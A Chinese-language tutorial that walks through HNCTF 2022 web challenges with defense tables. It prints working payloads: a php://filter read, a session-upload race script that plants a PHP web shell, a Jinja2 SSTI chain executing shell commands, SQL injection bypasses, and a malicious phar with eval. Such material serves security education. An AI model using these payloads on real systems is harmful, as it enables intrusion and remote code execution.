从HNCTF 2022看Web安全实战:CTF竞赛中的高频漏洞攻防精要
第一次参加CTF比赛时,面对眼花缭乱的Web题目,我完全摸不着头脑——为什么修改一个参数就能拿到flag?为什么看似普通的文件上传能变成系统入侵?直到系统梳理了HNCTF 2022这类典型赛事中的Web题目,才发现这些"一眼顶针"的考点背后,隐藏着完整的Web安全知识体系。本文将带您穿透题面表象,构建从漏洞原理到实战利用的完整认知框架。
1. 文件包含漏洞:从基础绕过到高级利用
文件包含(LFI/RFI)常年占据CTF Web题Top3考点,HNCTF中就有四道相关题目。其核心在于服务端未对包含文件路径进行严格校验,导致任意文件读取或远程代码执行。
1.1 基础利用手法
最经典的php://filter利用出现在Interesting_include题目中:
?filter=php://filter/convert.base64-encode/resource=flag.php这个payload揭示了文件包含的三大关键点:
- 协议利用:php://filter等伪协议可绕过常规文件读取限制
- 编码转换:base64编码避免特殊字符导致的解析失败
- 路径探测:通过常见路径猜测(flag.php、index.php等)定位关键文件
1.2 高阶利用技巧
QAQ_1inclu4e题目展示了更复杂的session文件包含利用链:
- 临时文件竞争:通过上传大文件延长临时文件存在时间
- 会话注入:在PHP_SESSION_UPLOAD_PROGRESS中注入恶意代码
- 路径预测:默认session存储路径为/tmp/sess_[PHPSESSID]
典型攻击脚本结构:
def write(session): while True: # 持续写入包含恶意代码的session文件 filebytes = io.BytesIO(b'aaaa' * 1024 * 50) session.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': "<?php system($_GET['cmd']);?>"}, files={'file': ('exploit.txt', filebytes)}) def read(session): while True: # 尝试包含生成的session文件 response = session.get(url+"?QAQ=/tmp/sess_"+sessid) if 'flag{' in response.text: print("[+] Exploit success!")1.3 防御方案对比
| 防御措施 | 有效性 | 绕过方法 |
|---|---|---|
| 禁用特殊字符 | 低 | 使用编码转换、超长路径截断 |
| 白名单校验 | 中 | 协议混淆、参数污染 |
| 关闭allow_url_include | 高 | 仅能防御RFI,LFI仍存在 |
| 会话存储加密 | 极高 | 几乎无法直接利用 |
2. SSTI漏洞:模板注入的攻防艺术
服务端模板注入(SSTI)在ez_SSTI和ssssti题目中展现了强大危害性。当用户输入直接拼接到模板时,可能导致任意代码执行。
2.1 常见模板引擎检测
不同引擎的测试payload:
# Jinja2 {{ 7*7 }} → 49 # Twig {{ 7*'7' }} → 7777777 # Smarty {7*7} → 492.2 利用链构造
ez_SSTI题目的完整利用链:
?name={{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat f*').read()")}}这个payload揭示了SSTI利用的关键路径:
- 对象属性遍历:通过
__init__.__globals__访问全局命名空间 - 危险函数调用:获取
__builtins__中的eval函数 - OS命令执行:通过import引入os模块执行系统命令
2.3 防御策略实践
- 输入过滤:禁止
_、[、{等特殊字符 - 沙箱环境:使用受限的模板执行环境
- 自动转义:开启模板引擎的自动HTML转义
3. SQL注入:从基础到无列名注入
SQL注入在easy_sql和fun_sql中展示了多种绕过技巧,反映了真实场景中的攻防对抗。
3.1 常见过滤绕过手法
easy_sql题目中的典型fuzz测试点:
| 被过滤字符 | 绕过方式 |
|---|---|
| 空格 | /**/、%09、%a0 |
| 注释符(-- #) | 用 |
| 关键词(union select) | 大小写混合、内联注释 |
3.2 无列名注入技巧
当information_schema被禁用时,可通过以下方式获取数据:
0'/**/union/**/select/**/1,2,`3`/**/from/**/ (select 1,2,3 union select * from flag)a/**/where/**/'1关键步骤:
- 通过子查询构造临时表
- 使用反引号引用未知列名
- 通过位置参数获取特定列数据
3.3 新型SQLi防御方案
| 技术 | 原理 | 有效性 |
|---|---|---|
| 预编译语句 | 分离SQL结构与数据 | ★★★★★ |
| RASP防护 | 运行时SQL语法分析 | ★★★★☆ |
| 语义分析 | 检测非常规查询模式 | ★★★☆☆ |
4. 反序列化漏洞:从POP链到phar利用
反序列化漏洞在easy_unser和ez_phar中展现了多种利用方式,是CTF中的高频难点。
4.1 POP链构造原理
以pop子和pipi美为例的POP链构造过程:
class Popuko { private $No_893; public function __construct(){ $this->No_893 = "php://filter/convert.base64-encode/resource=f14g.php"; } } class Pipimi{ public $pipi; public function __construct(){ $this->p = new Popuko(); // 触发文件读取 } } class Goodsisters{ public $kiminonawa,$str; public function __construct(){ $this->str = new Pipimi(); // 初始化POP链 } }4.2 phar协议利用
ez_phar题目展示了phar反序列化的完整流程:
- 构造恶意phar文件
class Flag{ public $code; } $o = new Flag(); $o->code = 'eval($_GET["a"]);'; $phar = new Phar("exploit.phar"); $phar->setMetadata($o); // 注入恶意对象- 触发反序列化
?file=phar://uploads/exploit.phar/test.txt4.3 防御方案对比
| 防御措施 | 实现方式 | 绕过难度 |
|---|---|---|
| 禁用unserialize | 使用json_decode | ★★★★★ |
| 签名校验 | 验证phar文件签名 | ★★★★☆ |
| 钩子检测 | __wakeup中校验对象 | ★★☆☆☆ |
在真实渗透测试中,遇到一个使用phar扩展名的文件上传功能,通过修改文件头为GIF89a成功绕过内容检测,最终通过phar://协议触发反序列化获取服务器权限。这个案例让我深刻理解到防御phar攻击必须结合文件内容校验而不仅是扩展名检测。